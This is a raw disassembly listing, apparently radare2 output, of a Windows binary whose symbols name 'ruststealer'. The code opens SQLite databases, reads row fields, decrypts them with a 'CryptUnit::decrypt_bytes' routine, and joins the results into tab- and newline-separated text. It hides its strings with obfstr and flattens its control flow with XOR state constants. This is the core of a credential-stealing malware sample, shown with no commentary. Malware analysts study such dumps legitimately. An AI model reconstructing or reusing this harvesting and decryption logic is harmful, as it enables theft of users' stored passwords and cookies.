mov qword [rsp + 0x208], r8
mov qword [rsp + 0x210], r9
mov qword [rsp + 0x218], r10
mov qword [rsp + 0x220], r11
mov word [rsp + 0x228], di
mov byte [rsp + 0x22a], sil
cmp qword [rsp + 0x1c0], 0
jne 0x140011e53
mov qword [rsp + 0x1c0], 0xffffffffffffffff
mov rdx, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], 0x33
lea rcx, [rsp + 0x3b8]
lea r8, [rsp + 0x180]
mov r9, rbx
call sym.rusqlite::inner_connection::InnerConnection::prepare::he7641878dc573686
inc qword [rsp + 0x1c0]
mov rax, qword [rsp + 0x3b8]
test rax, rax
je 0x140010815
lea rcx, [rsp + 0x3c0]
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
lea rcx, [rsp + 0x200]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x230]
call sym.sqlite3_bind_parameter_count
test eax, eax
jne 0x140011e79
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 8
mov qword [rsp + 0x90], 0
mov ebx, 0x46c046c1
xor eax, eax
mov qword [rsp + 0x150], r12
jmp 0x14000fceb
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 8
mov qword [rsp + 0x90], 0
mov eax, 0xc384ec6d
xor ebx, eax
cmp ebx, 0x8544aaac
je 0x14000fd90
cmp ebx, 0x46c046c1
je 0x14000fd10
cmp ebx, 0xb05f6d82
je 0x14001073d
xor ebx, eax
jmp 0x14000fceb
mov rsi, qword [rsp + 0x90]
test rsi, rsi
je 0x14000fd60
mov rdi, qword [rsp + 0x88]
add rdi, 8
jmp 0x14000fd39
add rdi, 0x18
dec rsi
je 0x14000fd60
cmp qword [rdi - 8], 0
je 0x14000fd30
mov r8, qword [rdi]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x14000fd30
cmp qword [rsp + 0x80], 0
je 0x14000fcc0
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x14000fcc0
mov dword [rsp + 0x2f0], ebx
nop word [rax + rax]
mov rsi, qword [rsp + 0x110]
test rsi, rsi
je 0x140010659
mov rcx, qword [rsi + 0x38]
call sym.sqlite3_step
cmp eax, 0x64
jne 0x14001063f
mov qword [rsp + 0x118], rsi
lea rax, [rsp + 0x118]
mov qword [rsp + 0x348], rax
mov byte [rsp + 0x340], 0x13
mov edi, 0xa02474f2
xor eax, eax
mov qword [rsp + 0x158], rax
mov eax, 1
mov qword [rsp + 0x140], rax
xor r12d, r12d
xor eax, eax
mov qword [rsp + 0x1e8], rax
xor r13d, r13d
mov eax, 1
mov qword [rsp + 0x138], rax
xor eax, eax
mov qword [rsp + 0x1f0], rax
mov r15d, 1
xor esi, esi
xor ebx, ebx
jmp 0x14000fe40
cmp edi, 0x5a5677f9
je 0x140010020
xor edi, ebx
cmp edi, 0x5a5677f8
jg 0x14000fef0
cmp edi, 0xa02474f2
je 0x14000ffa0
cmp edi, 0x4a5a0e0f
jne 0x14000fe3e
mov rdx, qword [rsp + 0x118]
mov r8d, 1
mov rcx, rbp
call sym.rusqlite::row::Row::get::hfbd9225a52867a60
cmp byte [rsp + 0xa0], 0x13
jne 0x140011ce9
mov r14, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xb0]
mov r12, qword [rsp + 0xb8]
mov ebx, 0x27868f6e
cmp qword [rsp + 0x1e8], 0
je 0x14000fec2
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, qword [rsp + 0x140]
call fcn.14014aabc
mov qword [rsp + 0x140], rbp
mov qword [rsp + 0x1e8], r14
lea rbp, [rsp + 0xa0]
xor edi, ebx
jmp 0x14000fe40
cmp edi, 0x6ddc8161
jne 0x14000fe32
mov rdx, qword [rsp + 0x118]
mov rcx, rbp
call sym.rusqlite::row::Row::get::hafa4401370d72d98
cmp byte [rsp + 0xa0], 0x13
jne 0x140011ce9
lea rcx, [rsp + 0xa8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x40], rax
movdqu xmm0, xmmword [rcx]
movdqa xmmword [rsp + 0x30], xmm0
mov rax, qword [rsp + 0x300]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, rbp
lea r9, [rsp + 0x30]
call sym.ruststealer::crypt::crypt_util::CryptUnit::decrypt_bytes::h38139a40ba0b1009
cmp qword [rsp + 0x158], 0
je 0x14000ff6e
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, r15
call fcn.14014aabc
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x158], rax
mov r15, qword [rsp + 0xa8]
mov rsi, qword [rsp + 0xb0]
mov ebx, 0x378af698
xor edi, ebx
jmp 0x14000fe40
mov rdx, qword [rsp + 0x118]
mov rcx, rbp
xor r8d, r8d
call sym.rusqlite::row::Row::get::hfbd9225a52867a60
cmp byte [rsp + 0xa0], 0x13
jne 0x140011ce9
mov r14, qword [rsp + 0xa8]
mov rbp, qword [rsp + 0xb0]
mov r13, qword [rsp + 0xb8]
mov ebx, 0xea7e7afd
cmp qword [rsp + 0x1f0], 0
je 0x14000ffff
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, qword [rsp + 0x138]
call fcn.14014aabc
mov qword [rsp + 0x138], rbp
mov qword [rsp + 0x1f0], r14
lea rbp, [rsp + 0xa0]
xor edi, ebx
jmp 0x14000fe40
test r13, r13
je 0x1400105a9
test r12, r12
je 0x1400105a9
test rsi, rsi
je 0x1400105a9
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 1
mov qword [rsp + 0x108], 0
xor edi, edi
mov r14d, 0xc96fdbeb
mov ebx, 1
xor eax, eax
jmp 0x1400100bb
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0xf8], rbx
mov rbx, qword [rsp + 0x100]
lea rcx, [rbx + rdi]
mov rdx, qword [rsp + 0x138]
mov r8, r13
call sym.memcpy
add rdi, r13
mov eax, 0x9f0056f8
nop word cs:[rax + rax]
mov qword [rsp + 0x108], rdi
xor r14d, eax
cmp r14d, 0xe7519b5e
jle 0x140010180
cmp r14d, 0x783a32fe
jle 0x140010207
cmp r14d, 0x783a32ff
je 0x140010274
cmp r14d, 0x7851cda7
jne 0x1400100b8
lea rax, [0x1402be9ec]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x30]
mov rcx, qword [rsp + 0x30]
movabs rdx, 0x19f06576c42b26e1
mov qword [rsp + 0x30], rdx
mov rdx, qword [rsp + 0x30]
call sym.obfstr::xref::inner::h07cb352ab2283131
movsd xmm8, qword [rax]
movsd xmm9, qword [rax + 8]
mov rax, qword [rsp + 0xf8]
mov rcx, rax
sub rcx, rdi
cmp rcx, 0xf
ja 0x14001042e
mov rbp, rdi
add rbp, 0x10
jb 0x140011ce4
lea rcx, [rax + rax]
cmp rcx, rbp
cmova rbp, rcx
cmp rbp, 9
mov ecx, 8
cmovb rbp, rcx
test rax, rax
je 0x1400103be
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x40], rax
mov eax, 1
jmp 0x1400103c0
cmp r14d, 0xc686e3da
je 0x1400102b7
cmp r14d, 0xc96fdbeb
je 0x140010317
cmp r14d, 0xd81d80a5
jne 0x1400100b8
mov rax, qword [rsp + 0xf8]
mov rcx, rax
sub rcx, rdi
cmp rcx, r12
jae 0x14001051d
mov rbx, rdi
add rbx, r12
jb 0x140011ce4
lea rcx, [rax + rax]
cmp rcx, rbx
cmova rbx, rcx
cmp rbx, 9
mov ecx, 8
cmovb rbx, rcx
test rax, rax
je 0x1400104c5
mov rcx, qword [rsp + 0x100]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rax
mov eax, 1
jmp 0x1400104c7
cmp r14d, 0xe7519b5f
jne 0x14001035c
mov rax, qword [rsp + 0xf8]
mov rcx, rax
sub rcx, rdi
cmp rcx, r13
jae 0x140010080
mov rbx, rdi
add rbx, r13
jb 0x140011ce4
lea rcx, [rax + rax]
cmp rcx, rbx
cmova rbx, rcx
cmp rbx, 9
mov ecx, 8
cmovb rbx, rcx
test rax, rax
je 0x14001036e
mov rcx, qword [rsp + 0x100]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rax
mov eax, 1
jmp 0x140010370
cmp rdi, qword [rsp + 0xf8]
jne 0x14001029e
lea rcx, [rsp + 0xf8]
mov rdx, rdi
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h093945ba0e96482d
mov rbx, qword [rsp + 0x100]
mov rdi, qword [rsp + 0x108]
mov byte [rbx + rdi], 9
mov rdi, qword [rsp + 0x108]
inc rdi
mov eax, 0xbebcd125
jmp 0x1400100b0
mov rax, qword [rsp + 0xf8]
mov rcx, rax
sub rcx, rdi
cmp rcx, rsi
jae 0x1400104a1
mov rbx, rdi
add rbx, rsi
jb 0x140011ce4
lea rcx, [rax + rax]
cmp rcx, rbx
cmova rbx, rcx
cmp rbx, 9
mov ecx, 8
cmovb rbx, rcx
test rax, rax
je 0x140010449
mov rcx, qword [rsp + 0x100]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x40], rax
mov eax, 1
jmp 0x14001044b
cmp qword [rsp + 0xf8], 0
je 0x140010333
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rbx
call fcn.14014aabc
mov qword [rsp + 0xf8], 0
mov qword [rsp + 0x100], 1
mov eax, 0x2e3e40b4
mov ebx, 1
xor edi, edi
jmp 0x1400100b0
cmp r14d, 0x52fa0e75
jne 0x1400100b8
jmp 0x140010550
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
mov rcx, rbp
mov r8, rbx
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x140010070
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x140010080
jmp 0x140011cdb
xor eax, eax
mov rdx, rbp
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0xa0]
mov r8, rbp
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x140010413
movabs rax, 0x8000000000000001
cmp rcx, rax
lea rbp, [rsp + 0xa0]
je 0x14001042e
jmp 0x140011cdb
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0xf8], rbp
mov rbx, rcx
lea rbp, [rsp + 0xa0]
movlhps xmm8, xmm9
xorps xmm8, xmm7
movups xmmword [rbx + rdi], xmm8
add rdi, 0x10
mov eax, 0xa04c4d02
jmp 0x1400100b0
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
mov rcx, rbp
mov r8, rbx
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x140010491
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x1400104a1
jmp 0x140011cdb
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0xf8], rbx
mov rbx, qword [rsp + 0x100]
lea rcx, [rbx + rdi]
mov rdx, r15
mov r8, rsi
call sym.memcpy
add rdi, rsi
mov eax, 0x947cedaf
jmp 0x1400100b0
xor eax, eax
mov rdx, rbx
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x38], rax
mov rcx, rbp
mov r8, rbx
lea r9, [rsp + 0x30]
call sym.alloc::raw_vec::finish_grow::h260bc05d3c06336c
cmp qword [rsp + 0xa0], 0
mov rcx, qword [rsp + 0xa8]
je 0x14001050d
movabs rax, 0x8000000000000001
cmp rcx, rax
je 0x14001051d
jmp 0x140011cdb
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0xf8], rbx
mov rbx, qword [rsp + 0x100]
lea rcx, [rbx + rdi]
mov rdx, qword [rsp + 0x140]
mov r8, r12
call sym.memcpy
add rdi, r12
mov eax, 0xa027b25a
jmp 0x1400100b0
mov rdx, qword [rsp + 0x90]
cmp rdx, qword [rsp + 0x80]
jne 0x140010577
lea rcx, [rsp + 0x80]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h49d893b5445c7f1b
mov rdx, qword [rsp + 0x90]
mov rax, qword [rsp + 0x88]
lea rcx, [rdx + rdx*2]
mov r8, qword [rsp + 0x108]
mov qword [rax + rcx*8 + 0x10], r8
movdqu xmm0, xmmword [rsp + 0xf8]
movdqu xmmword [rax + rcx*8], xmm0
inc rdx
mov qword [rsp + 0x90], rdx
cmp qword [rsp + 0x158], 0
je 0x1400105c5
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, r15
call fcn.14014aabc
cmp qword [rsp + 0x1e8], 0
mov r13, qword [rsp + 0xf0]
mov r12, qword [rsp + 0x150]
je 0x1400105f6
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, qword [rsp + 0x140]
call fcn.14014aabc
cmp qword [rsp + 0x1f0], 0
lea r15, [rsp + 0x258]
je 0x14001061f
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, qword [rsp + 0x138]
call fcn.14014aabc
cmp byte [rsp + 0x340], 0x13
je 0x14000fda0
lea rcx, [rsp + 0x340]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
jmp 0x14000fda0
cmp eax, 0x65
jne 0x140010678
mov qword [rsp + 0x110], 0
mov rcx, qword [rsi + 0x38]
call sym.sqlite3_reset
mov qword [rsp + 0x118], 0
mov eax, 0x351bc72e
mov ebx, dword [rsp + 0x2f0]
xor ebx, eax
jmp 0x14000fceb
mov rdi, qword [rsi]
mov rcx, qword [rdi + 0x40]
movabs rdx, 0x8000000000000001
add rdx, 0xfffffffffffffffe
cmp rcx, rdx
jae 0x140011dfb
lea rdx, [rcx + 1]
mov qword [rdi + 0x40], rdx
test eax, eax
je 0x140011e07
mov rdx, qword [rdi + 0x50]
lea rcx, [rsp + 0x30]
mov r8d, eax
call sym.rusqlite::error::error_from_handle::h646d8dbc9edf6007
movzx ebx, byte [rsp + 0x30]
dec qword [rdi + 0x40]
cmp bl, 0x13
je 0x140011e0b
movzx edi, byte [rsp + 0x31]
lea rax, [rsp + 0x32]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x2e]
lea rax, [rsp + 0x342]
movups xmmword [rax + 0x2e], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x110], 0
mov rcx, qword [rsi + 0x38]
call sym.sqlite3_reset
mov qword [rsp + 0x118], 0
mov byte [rsp + 0x340], bl
mov byte [rsp + 0x341], dil
lea rcx, [rsp + 0x340]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
jmp 0x140010665
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x140010adf
mov r15, qword [rsp + 0x88]
shl rax, 3
lea r12, [rax + rax*2]
mov esi, 1
xor r13d, r13d
xor edi, edi
jmp 0x1400107ae
mov rsi, qword [rsp + 0x38]
mov byte [rsi + rdi], 0xa
inc rdi
mov qword [rsp + 0x40], rdi
add r13, 0x18
cmp r12, r13
je 0x140010a05
mov r14, qword [r15 + r13 + 8]
mov rbx, qword [r15 + r13 + 0x10]
mov rax, qword [rsp + 0x30]
sub rax, rdi
cmp rax, rbx
jb 0x1400107f9
add rsi, rdi
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call sym.memcpy
add rdi, rbx
mov qword [rsp + 0x40], rdi
cmp rdi, qword [rsp + 0x30]
jne 0x140010790
lea rcx, [rsp + 0x30]
mov rdx, rdi
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h093945ba0e96482d
mov rdi, qword [rsp + 0x40]
jmp 0x140010790
lea rcx, [rsp + 0x30]
mov rdx, rdi
mov r8, rbx
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h24ab4290410c667d
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
jmp 0x1400107c5
lea rax, [0x1402b6883]
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x1f8]
movabs rax, 0x484b8a84aceceef1
mov qword [rsp + 0x1f8], rax
mov rdx, qword [rsp + 0x1f8]
call sym.obfstr::xref::inner::ha930488ac74a9471
mov rsi, qword [rax]
movabs rax, 0xeac956386ee2062b
xor rsi, rax
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
mov rdi, rbx
jne 0x140010886
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011e37
mov qword [0x1403610c8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x140011e37
mov rbx, rax
mov qword [rax], rsi
lea rax, [0x1402b96b1]
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x1f8]
movabs rax, 0x5b6a8734422a9c31
mov qword [rsp + 0x1f8], rax
mov rdx, qword [rsp + 0x1f8]
call sym.obfstr::xref::inner::hd939ed1097d567a9
mov rdi, qword [rax]
movabs rcx, 0xbb3c59e74f66f1ae
xor rdi, rcx
mov r14, qword [rax + 8]
movabs rcx, 0xd531b77d30149d07
xor r14, rcx
mov r15, qword [rax + 0x10]
movabs rcx, 0x1f9ae1569812b4d2
xor r15, rcx
movzx ebp, word [rax + 0x18]
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
jne 0x140010939
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011dec
mov qword [0x1403610c8], rax
mov r8d, 0x1a
mov rcx, rax
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x140011dec
mov rsi, rax
mov eax, ebp
xor al, 0x4e
shr ebp, 8
xor bpl, 0x11
movzx eax, al
movzx ecx, bpl
shl ecx, 8
or ecx, eax
movd xmm0, ecx
mov qword [rsi], rdi
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], r15
movd eax, xmm0
mov word [rsi + 0x18], ax
lea rcx, [rsp + 0x3c0]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_rusqlite::Connection_::h2c753fd0dd13ad92
mov eax, 8
mov qword [rsp + 0x130], rax
mov edi, 0x1a
cmp qword [rsp + 0x2e8], 0
je 0x1400109cb
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, r12
call fcn.14014aabc
mov r14d, 0x1a
mov r12, rbx
mov r8d, 8
lea r15, [rsp + 0x258]
lea rbp, [rsp + 0xa0]
mov rdx, qword [rsp + 0x170]
cmp rdx, qword [rsp + 0x160]
jne 0x14000d371
jmp 0x14000d356
mov r14, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x90]
test rbx, rbx
je 0x140010af6
mov r15, qword [rsp + 0x88]
add r15, 8
mov r13, qword [rsp + 0xf0]
mov r12, qword [rsp + 0x150]
jmp 0x140010a49
add r15, 0x18
dec rbx
je 0x140010a63
cmp qword [r15 - 8], 0
je 0x140010a40
mov r8, qword [r15]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x140010a40
lea r15, [rsp + 0x258]
cmp qword [rsp + 0x80], 0
je 0x140010a8c
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov rax, qword [rsp + 0x110]
test rax, rax
je 0x140010aa2
mov rcx, qword [rax + 0x38]
call sym.sqlite3_reset
lea rcx, [rsp + 0x1f8]
call sym.core::ptr::drop_in_place_rusqlite::statement::Statement_::h6e4c589cc82dfef7
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_rusqlite::Connection_::h2c753fd0dd13ad92
mov r8, qword [rsp + 0x2e8]
mov rdx, qword [rsp + 0x170]
cmp rdx, qword [rsp + 0x160]
jne 0x14000d371
jmp 0x14000d356
mov esi, 1
xor r14d, r14d
xor edi, edi
cmp qword [rsp + 0x80], 0
jne 0x140010a76
jmp 0x140010a8c
mov r13, qword [rsp + 0xf0]
lea r15, [rsp + 0x258]
mov r12, qword [rsp + 0x150]
cmp qword [rsp + 0x80], 0
jne 0x140010a76
jmp 0x140010a8c
mov r13, qword [rsp + 0xf0]
lea r15, [rsp + 0x258]
cmp qword [rsp + 0x80], 0
je 0x140010b53
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov rax, qword [rsp + 0x110]
test rax, rax
je 0x140010b69
mov rcx, qword [rax + 0x38]
call sym.sqlite3_reset
lea rcx, [rsp + 0x1f8]
call sym.core::ptr::drop_in_place_rusqlite::statement::Statement_::h6e4c589cc82dfef7
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_rusqlite::Connection_::h2c753fd0dd13ad92
mov rdx, qword [rsp + 0x170]
cmp rdx, qword [rsp + 0x160]
je 0x14000df86
jmp 0x14000df9b
mov rcx, r15
mov rdx, qword [rsp + 0x328]
mov r8, qword [rsp + 0x320]
call sym.std::sys::windows::fs::stat::h264e18a38b51e5a7
cmp dword [rsp + 0x258], 2
jne 0x140010c50
mov rsi, qword [rsp + 0x260]
mov eax, esi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
jb 0x140011227
test rax, rax
je 0x140011227
mov rdi, qword [rsi - 1]
mov rbx, qword [rsi + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140010c18
cmp qword [rbx + 0x10], 0x11
jb 0x140010c07
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rdi
call fcn.14014aabc
dec rsi
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rsi
call fcn.14014aabc
mov rdi, qword [rsp + 0x148]
jmp 0x140011227
test rax, rax
jne 0x140010ed7
mov eax, dword [rsp + 0x17c]
xor eax, ebx
jmp 0x14000d21d
mov qword [rsp + 0x240], 0
mov qword [rsp + 0x248], 1
mov qword [rsp + 0x250], 0
mov edi, 0x8b64d526
xor esi, esi
mov ebx, 1
xor eax, eax
jmp 0x140010d46
lea rax, [0x1402b2dba]
mov qword [rsp + 0x258], rax
mov rcx, qword [rsp + 0x258]
movabs rax, 0x8a7f0e8085f52189
mov qword [rsp + 0x258], rax
mov rdx, qword [rsp + 0x258]
call sym.obfstr::xref::inner::h8a4f95c5edd88c7a
mov r14, qword [rax]
movabs rcx, 0xc0bf1a1e185d1c33
xor r14, rcx
mov ebp, dword [rax + 8]
mov ecx, 0x5c65b7e0
xor ebp, ecx
movzx ebx, word [rax + 0xc]
mov rax, qword [rsp + 0x240]
sub rax, rsi
cmp rax, 0xd
jbe 0x140010d9e
mov eax, ebx
xor al, 0x2c
shr ebx, 8
xor bl, 0x97
movzx eax, al
movzx ecx, bl
shl ecx, 8
or ecx, eax
movd xmm0, ecx
mov rbx, qword [rsp + 0x248]
mov qword [rbx + rsi], r14
mov dword [rbx + rsi + 8], ebp
movd eax, xmm0
mov word [rbx + rsi + 0xc], ax
add rsi, 0xe
mov eax, 0xf1ad214c
lea rbp, [rsp + 0xa0]
mov qword [rsp + 0x250], rsi
xor edi, eax
cmp edi, 0x8b64d526
je 0x140010d70
cmp edi, 0x621ee74e
je 0x140010c90
cmp edi, 0x93b3c602
jne 0x140010d44
jmp 0x140010de6
mov rax, qword [rsp + 0x240]
sub rax, rsi
cmp rax, r13
jb 0x140010dc1
lea rcx, [rbx + rsi]
mov rdx, qword [rsp + 0x318]
mov r8, r13
call sym.memcpy
add rsi, r13
mov eax, 0xe97a3268
jmp 0x140010d3c
mov r8d, 0xe
lea rcx, [rsp + 0x240]
mov rdx, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h24ab4290410c667d
mov rsi, qword [rsp + 0x250]
jmp 0x140010cf9
lea rcx, [rsp + 0x240]
mov rdx, rsi
mov r8, r13
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h24ab4290410c667d
mov rbx, qword [rsp + 0x248]
mov rsi, qword [rsp + 0x250]
jmp 0x140010d80
lea r14, [rsp + 0x180]
mov rcx, r14
mov rdx, qword [rsp + 0x328]
mov r8, qword [rsp + 0x320]
call sym.rusqlite::path_to_cstring::h8c8b8e5c4352a945
movzx eax, byte [rsp + 0x180]
cmp al, 0x13
jne 0x140010f32
mov rsi, qword [rsp + 0x188]
mov rdi, qword [rsp + 0x190]
mov rcx, r14
mov rdx, rsi
mov r8, rdi
mov r9d, 0x8046
call sym.rusqlite::inner_connection::InnerConnection::open_with_flags::h3edfb37a4063ec8c
cmp byte [rsp + 0x180], 0x13
lea rbx, [rsp + 0x2c8]
lea r15, [rsp + 0x1f8]
jne 0x140010f92
lea rdx, [rsp + 0x188]
mov rax, qword [rdx + 0x10]
lea rcx, [rsp + 0x261]
mov qword [rcx + 0x57], rax
movups xmm0, xmmword [rdx]
movups xmmword [rcx + 0x47], xmm0
lea rax, [rsp + 0x288]
movups xmmword [rax], xmm6
mov qword [rsp + 0x260], 0
movups xmm0, xmmword [0x1402cf600]
movups xmmword [rcx + 0x17], xmm0
movups xmm0, xmmword [0x1402cf5f0]
movups xmmword [rcx + 7], xmm0
mov qword [rsp + 0x298], 0x10
mov qword [rsp + 0x2a0], 0
xor eax, eax
mov qword [rsp + 0x258], rax
mov byte [rsi], 0
test rdi, rdi
jne 0x140010fde
jmp 0x140010ff7
mov rdi, qword [rsi - 1]
mov r14, qword [rsi + 7]
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
je 0x140010f08
cmp qword [r14 + 0x10], 0x11
jb 0x140010ef7
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rdi
call fcn.14014aabc
dec rsi
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rsi
call fcn.14014aabc
mov rdi, qword [rsp + 0x148]
mov eax, dword [rsp + 0x17c]
xor eax, ebx
jmp 0x14000d21d
lea r9, [rsp + 0x188]
mov ecx, dword [r9 - 7]
mov edx, dword [r9 - 4]
lea r8, [rsp + 0x261]
mov dword [r8 + 3], edx
mov dword [r8], ecx
movups xmm0, xmmword [rsp + 0x188]
movups xmm1, xmmword [r9 + 0x10]
movups xmm2, xmmword [r9 + 0x20]
movups xmmword [r8 + 0x17], xmm1
movups xmmword [r8 + 0x27], xmm2
mov rcx, qword [r9 + 0x30]
mov qword [r8 + 0x37], rcx
mov byte [rsp + 0x260], al
movups xmmword [rsp + 0x268], xmm0
mov qword [rsp + 0x258], 1
jmp 0x140011000
movups xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movups xmm2, xmmword [rsp + 0x1a0]
movups xmm3, xmmword [rsp + 0x1b0]
lea rax, [rsp + 0x260]
movups xmmword [rax + 0x30], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
mov eax, 1
mov qword [rsp + 0x258], rax
mov byte [rsi], 0
test rdi, rdi
je 0x140010ff7
mov rcx, qword [0x1403610c8]
xor edx, edx
mov r8, rsi
call fcn.14014aabc
mov rax, qword [rsp + 0x258]
test rax, rax
je 0x140011270
lea rax, [0x1402bb410]
mov qword [rsp + 0x180], rax
mov rcx, qword [rsp + 0x180]
movabs rax, 0xcd31fe8cdfb04846
mov qword [rsp + 0x180], rax
mov rdx, qword [rsp + 0x180]
call sym.obfstr::xref::inner::h300d5ead606b4c26
mov rdi, qword [rax]
movabs rax, 0x159f972714d7d82e
xor rdi, rax
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
jne 0x14001106e
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011e37
mov qword [0x1403610c8], rax
mov r8d, 8
mov rcx, rax
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x140011e37
mov rsi, rax
mov qword [rax], rdi
lea rax, [0x1402bead0]
mov qword [rsp + 0x180], rax
mov rcx, qword [rsp + 0x180]
movabs rax, 0x7fd1038bab3093ef
mov qword [rsp + 0x180], rax
mov rdx, qword [rsp + 0x180]
call sym.obfstr::xref::inner::hab50c30c5b086cd4
mov rbx, qword [rax]
movabs rcx, 0xc0222b1f15401fa5
xor rbx, rcx
mov r14, qword [rax + 8]
movabs rcx, 0x6dd323422d70be5f
xor r14, rcx
mov r15, qword [rax + 0x10]
movabs rcx, 0x475a58333ed7947f
xor r15, rcx
movzx ebp, word [rax + 0x18]
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
jne 0x140011121
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011dec
mov qword [0x1403610c8], rax
mov r8d, 0x1a
mov rcx, rax
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x140011dec
mov rdi, rax
mov eax, ebp
xor al, 0xbd
shr ebp, 8
xor bpl, 0xfd
movzx eax, al
movzx ecx, bpl
shl ecx, 8
or ecx, eax
